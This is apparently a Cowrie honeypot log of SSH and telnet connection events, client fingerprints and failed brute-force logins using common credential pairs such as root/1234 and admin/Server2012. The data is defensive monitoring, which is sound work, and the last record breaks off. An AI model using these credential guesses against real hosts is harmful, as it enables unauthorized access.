{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:29.620034Z","src_ip":"112.151.178.49","session":"3bc279cdef15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":36668,"dst_ip":"10.17.0.5","dst_port":23,"session":"906fd26226ac","protocol":"telnet","message":"New connection: 137.184.155.248:36668 (10.17.0.5:23) [session: 906fd26226ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:30.359062Z"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres2023","message":"login attempt [postgres/postgres2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:30.513056Z","src_ip":"112.151.178.49","session":"3bc279cdef15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":36670,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c2426afd32a","protocol":"telnet","message":"New connection: 137.184.155.248:36670 (10.17.0.5:23) [session: 8c2426afd32a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:30.721634Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:31.731493Z","src_ip":"112.151.178.49","session":"3bc279cdef15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":47790,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0db4db707fc","protocol":"telnet","message":"New connection: 137.184.155.248:47790 (10.17.0.5:23) [session: d0db4db707fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:35.082579Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":62886,"dst_ip":"10.17.0.5","dst_port":22,"session":"e638fced2ef8","protocol":"ssh","message":"New connection: 103.190.242.61:62886 (10.17.0.5:22) [session: e638fced2ef8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:39.127225Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:39.132026Z","src_ip":"103.190.242.61","session":"e638fced2ef8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":62941,"dst_ip":"10.17.0.5","dst_port":22,"session":"0cfb10595557","protocol":"ssh","message":"New connection: 103.190.242.61:62941 (10.17.0.5:22) [session: 0cfb10595557]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:39.810694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:39.815642Z","src_ip":"103.190.242.61","session":"0cfb10595557","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:40.009189Z","src_ip":"103.190.242.61","session":"0cfb10595557","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"NoPassGst1234","message":"login attempt [admin/NoPassGst1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:40.816931Z","src_ip":"103.190.242.61","session":"0cfb10595557","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:41.297263Z","src_ip":"103.190.242.61","session":"0cfb10595557","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":63063,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0c589c3d7f2","protocol":"ssh","message":"New connection: 103.190.242.61:63063 (10.17.0.5:22) [session: d0c589c3d7f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:41.502125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:41.506286Z","src_ip":"103.190.242.61","session":"d0c589c3d7f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:41.701958Z","src_ip":"103.190.242.61","session":"d0c589c3d7f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234","message":"login attempt [root/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:42.553449Z","src_ip":"103.190.242.61","session":"d0c589c3d7f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:43.034199Z","src_ip":"103.190.242.61","session":"d0c589c3d7f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.371702671051025,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:43.204383Z","src_ip":"137.184.155.248","session":"956aaa48caf4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":63200,"dst_ip":"10.17.0.5","dst_port":22,"session":"65dbcc3c1256","protocol":"ssh","message":"New connection: 103.190.242.61:63200 (10.17.0.5:22) [session: 65dbcc3c1256]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:43.238306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:43.242613Z","src_ip":"103.190.242.61","session":"65dbcc3c1256","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:43.439953Z","src_ip":"103.190.242.61","session":"65dbcc3c1256","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:44.260272Z","src_ip":"103.190.242.61","session":"65dbcc3c1256","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:44.740884Z","src_ip":"103.190.242.61","session":"65dbcc3c1256","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":63331,"dst_ip":"10.17.0.5","dst_port":22,"session":"dfbbcafb268b","protocol":"ssh","message":"New connection: 103.190.242.61:63331 (10.17.0.5:22) [session: dfbbcafb268b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:44.944117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:44.952722Z","src_ip":"103.190.242.61","session":"dfbbcafb268b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:45.148348Z","src_ip":"103.190.242.61","session":"dfbbcafb268b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":59706,"dst_ip":"10.17.0.5","dst_port":23,"session":"97bbcc422fe2","protocol":"telnet","message":"New connection: 137.184.155.248:59706 (10.17.0.5:23) [session: 97bbcc422fe2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:45.880867Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"1234","message":"login attempt [user/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:45.961132Z","src_ip":"103.190.242.61","session":"dfbbcafb268b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:46.442505Z","src_ip":"103.190.242.61","session":"dfbbcafb268b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":63461,"dst_ip":"10.17.0.5","dst_port":22,"session":"e674055db975","protocol":"ssh","message":"New connection: 103.190.242.61:63461 (10.17.0.5:22) [session: e674055db975]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:46.645415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:46.650709Z","src_ip":"103.190.242.61","session":"e674055db975","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:46.846482Z","src_ip":"103.190.242.61","session":"e674055db975","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.115.59","src_port":37786,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f22f3cf8116","protocol":"ssh","message":"New connection: 45.79.115.59:37786 (159.203.135.109:22) [session: 3f22f3cf8116]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:47.464250Z"}
{"eventid":"cowrie.login.failed","username":"user2","password":"1234","message":"login attempt [user2/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:47.663686Z","src_ip":"103.190.242.61","session":"e674055db975","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:48.143960Z","src_ip":"103.190.242.61","session":"e674055db975","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":63592,"dst_ip":"10.17.0.5","dst_port":22,"session":"087ae7437431","protocol":"ssh","message":"New connection: 103.190.242.61:63592 (10.17.0.5:22) [session: 087ae7437431]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:48.346950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:48.351946Z","src_ip":"103.190.242.61","session":"087ae7437431","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:48.547868Z","src_ip":"103.190.242.61","session":"087ae7437431","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server2012","message":"login attempt [root/Server2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:49.362442Z","src_ip":"103.190.242.61","session":"087ae7437431","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:49.843400Z","src_ip":"103.190.242.61","session":"087ae7437431","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":63731,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee89d9279569","protocol":"ssh","message":"New connection: 103.190.242.61:63731 (10.17.0.5:22) [session: ee89d9279569]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:50.045746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:50.050409Z","src_ip":"103.190.242.61","session":"ee89d9279569","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:50.245899Z","src_ip":"103.190.242.61","session":"ee89d9279569","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Server2012","message":"login attempt [admin/Server2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:51.061621Z","src_ip":"103.190.242.61","session":"ee89d9279569","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:51.542528Z","src_ip":"103.190.242.61","session":"ee89d9279569","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":63866,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4e32d153208","protocol":"ssh","message":"New connection: 103.190.242.61:63866 (10.17.0.5:22) [session: d4e32d153208]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:51.744109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:51.750527Z","src_ip":"103.190.242.61","session":"d4e32d153208","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:51.898978Z","src_ip":"45.79.115.59","session":"3f22f3cf8116","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-n